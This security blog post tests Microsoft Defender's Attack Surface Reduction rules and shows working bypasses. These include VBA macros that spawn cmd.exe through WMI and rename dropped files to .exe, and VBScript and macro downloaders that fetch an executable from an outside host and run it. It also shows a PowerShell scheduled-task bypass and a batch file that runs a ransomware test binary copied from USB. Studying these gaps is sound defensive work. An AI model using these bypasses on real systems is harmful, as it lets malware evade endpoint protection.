Microsoft Defender Antivirus Exploit Guard is a set of intrusion prevention capabilities that includes Attack Surface Reduction Rules. The Attack Surface Reduction rules are rules to lock down various attack vectors commonly used in malware. In this blog post, I will go through some of the rules and show how to bypass them.
Attack Surface Reduction
Microsoft Defender Antivirus Exploit Guard contains the following four features.
In this blog post, I will zoom in on Attack Surface Reduction.
This table shows all Attack Surface Reduction rules and their corresponding GUIDs, which you use to configure the rules using Group Policies or PowerShell. Other methods to enable the Attack Surface Reduction rules are Microsoft Intune, Mobile Device Management, and Microsoft Endpoint Configuration Manager.
Each Attack Surface Reduction rule contains the following three settings.
- Not configured: Disable the ASR rule
- Block: Enable the ASR rule
- Audit: Evaluate how the ASR rule would impact your organization if enabled
When the rule applies in audit mode, an event is created in the Event Viewer but does not block any code. If the rule applies in block mode, it stops executing the code, makes an event in the Event Viewer, and Microsoft Defender Antivirus shows an alert that Attack Surface Reduction blocked the attack vector.
There is a Microsoft link that contains some Attack Surface Reduction examples, which you can download. There is a total of six samples I used to test the Attack Surface Reduction rules.
Block Office applications from creating child processes
Let us take a look at the first example. Here is the description of the rule from Microsoft.
“This rule blocks Office apps from creating child processes. This includes Word, Excel, PowerPoint, OneNote, and Access.
Creating malicious child processes is a common malware strategy. Malware that abuse Office as a vector often run VBA macros and exploit code to download and attempt to run additional payloads. However, some legitimate line-of-business applications might also generate child processes for benign purposes, such as spawning a command prompt or using PowerShell to configure registry settings.”
First, we open the file with no rules configured. If you open the file and click “Enable Content,” a macro will run, and a Command Prompt appears.
Here is the macro from the example.
Public Sub Document_Open()
Shell "cmd.exe", vbNormalFocus
End Sub
Private Sub Document_Close()
On Error GoTo ErrorHandler
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Security\Trusted Documents\TrustRecords\"
ErrorHandler:
End Sub
The macro uses the Windows Script Host Object to start a Command Prompt. The rule states that Office Applications is blocked to create child processes. What if we use the macro to talk to, for example, WMI and let WMI start a child process? First, I enabled the Attack Surface Reduction rule and ran the same file to see if the macro gets blocked by Attack Surface Reduction.
The Attack Surface Reduction rule has blocked the macro from creating a child process. I used the following code to let WMI start a child process.
Public Sub Document_Open()
Const HIDDEN_WINDOW = 1
strComputer = "."
Set objWMIService = GetObject("winmgmts:" & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
objConfig.ShowWindow = HIDDEN_WINDOW
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("cmd.exe", Null, objConfig, intProcessID)
End Sub
If you use the code above and open the document, you will see the macro starts a Command Prompt just fine.
As you can see, this works just fine with the Attack Surface Reduction rule enabled. However, there is another rule which blocks process, if enabled, creation originating from WMI commands. Continue reading to see how to bypass that rule as well.
Block Office applications from creating executable content
Let us take a look at the second example. Here is the description of the rule from Microsoft.
“This rule prevents Office apps, including Word, Excel, and PowerPoint, from creating potentially malicious executable content, by blocking malicious code from being written to disk.
Malware that abuses Office as a vector may attempt to break out of Office and save malicious components to disk. These malicious components would survive a computer reboot and persist on the system. Therefore, this rule defends against a common persistence technique.”
The example drops an executable on disk, runs it, and encrypts all files in the c:\demo folder if the rule is not enabled or set to audit mode.
I used the following code to drop an executable on disk.
Sub Auto_Open()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim Fileout As Object
Set Fileout = fso.CreateTextFile("C:\temp\thalpius.exe", True, True)
Fileout.Write "your string goes here"
Fileout.Close
End Sub
With the rule enabled, it indeed gets blocked.
I was wondering what would happen if you create a non-executable file.
Sub Auto_Open()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim Fileout As Object
Set Fileout = fso.CreateTextFile("C:\temp\thalpius.lol", True, True)
Fileout.Write "your string goes here"
Fileout.Close
End Sub
Interestingly enough, this works just fine.
So what if you create a non-executable file first and change the extension to an executable file? You can drop a non-executable file and rename it to an executable file using the following code.
Sub Auto_Open()
Dim fso As Object
Set fso = CreateObject("Scripting.FileSystemObject")
Dim Fileout As Object
Set Fileout = fso.CreateTextFile("C:\temp\thalpius.txt", True, True)
Fileout.Write "your string goes here"
Fileout.Close
Name "C:\temp\thalpius.txt" As "C:\temp\thalpius.exe"
End Sub
Now we run the macro above and see what happens.
As you can see, this works just fine, and you bypass the Attack Surface Reduction rule.
Block JavaScript or VBScript from launching downloaded executable content
Let us take a look at the third example. Here is the description of the rule from Microsoft.
“This rule prevents scripts from launching potentially malicious downloaded content. Malware written in JavaScript or VBScript often acts as a downloader to fetch and launch other malware from the Internet.
Although not common, line-of-business applications sometimes use scripts to download and launch installers.”
The following code is an example from Microsoft.
// SCPT:xmlHttpRequest
var xmlHttp = WScript.CreateObject("MSXML2.XMLHTTP");
xmlHttp.open("GET", "https://www.bing.com", false);
xmlHttp.send();
// SCPT:JSRunsFile
var shell = WScript.CreateObject("WScript.Shell");
shell.Run("notepad.exe");
So I have created a Visual Basic Script which downloads a file and executes it.
Dim objShell
Dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
Dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe", False
xHttp.Send
with bStrm
.type = 1
.open
.write xHttp.responseBody
.savetofile "c:\temp\putty.exe", 2
end with
Set objShell = WScript.CreateObject( "WScript.Shell" )
objShell.Exec("c:\temp\putty.exe")
Although, to my surprise, it runs just fine even with the rule enabled.
I created a macro as well since it uses the scripting engine by Windows, but that works just fine as well.
Sub DownloadFile()
Dim myURL As String
myURL = "https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe"
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile "C:\temp\putty.exe", 2 ' 1 = no overwrite, 2 = overwrite
oStream.Close
End If
End Sub
Sub Auto_Open()
DownloadFile
CreateObject("WScript.Shell").Run "c:\temp\putty.exe", 1
End Sub
I have no idea why this code is not blocked, but it seems that this bypasses the Attack Surface Reduction rule.
Block Process Creations originating from PSExec & WMI commands
Let us take a look at the fourth example. Here is the description of the rule from Microsoft.
“This rule blocks processes created through PsExec and WMI from running. Both PsExec and WMI can remotely execute code, so there is a risk of malware abusing this functionality for command and control purposes, or to spread an infection throughout an organization’s network.”
If you start the Visual Basic Script, it starts notepad.
With the rule enabled, it does block the example script as intended.
The PowerShell cmdlet “Register-ScheduledTask” uses Windows Management Instruments (WMI) to create a scheduled task. I was wondering if this gets blocked as well.
$A = New-ScheduledTaskAction -Execute "cmd.exe" $T = New-ScheduledTaskTrigger -once -At 5:25pm $S = New-ScheduledTaskSettingsSet $D = New-ScheduledTask -Action $A -Trigger $T -Settings $S Register-ScheduledTask Evil -InputObject $D
Creating a scheduled task using the code above bypasses the Attack Surface Reduction rule. There is an event in the WMI Event Viewer, but the scheduled task still runs just fine.
Block untrusted and unsigned processes that run from USB
Let us take a look at the fifth example. Here is the description of the rule from Microsoft.
“With this rule, admins can prevent unsigned or untrusted executable files from running from USB removable drives, including SD cards. Blocked file types include executable files (such as .exe, .dll, or .scr)”
If you run the executable from a USB drive, it will encrypt files in the c:\demo folder and show a popup with a message that your files are encrypted.
I copied the file to a USB drive and enabled the rule to be sure the rule works. Surely it does.
I wondered what would happen if I copy the same file to a fixed disk and run it from there using the following code.
xcopy /s UNSIGNED_ransomware_test_exe.exe %temp% /y start %temp%\UNSIGNED_ransomware_test_exe.exe
When you save the code above as a .bat file and run the file from a USB disk, the executable runs just fine.
It should not be too hard to embed an executable in a batch file to start from a USB drive to bypass this Attack Surface Reduction rule.
Conclusion
Although Exploit Guard Attack Surface Reduction rules work great with Microsoft Defender Antivirus, the alerts stay on the endpoint. To send the events to a centralized dashboard for advanced monitoring, you need to implement a Security Information and Event Management (SIEM) solution like Microsoft Sentinel or use Microsoft Defender for Endpoint.
I did not look at all Attack Surface Reduction rules, but it is relatively easy to bypass those rules. Although an attacker can not make any mistake or the attacker will get detected. Especially if you are using Microsoft Defender for Endpoint as the alerts show up in a centralized cloud portal and detect any anomalies. Bypassing the Attack Surface Reduction rules alone is not enough for an attacker to execute malicious code, and an attacker hopefully will get caught when moving laterally. Either monitoring the events in the Event Viewer using a SIEM solution or use Microsoft Defender for Endpoint is critical, though.
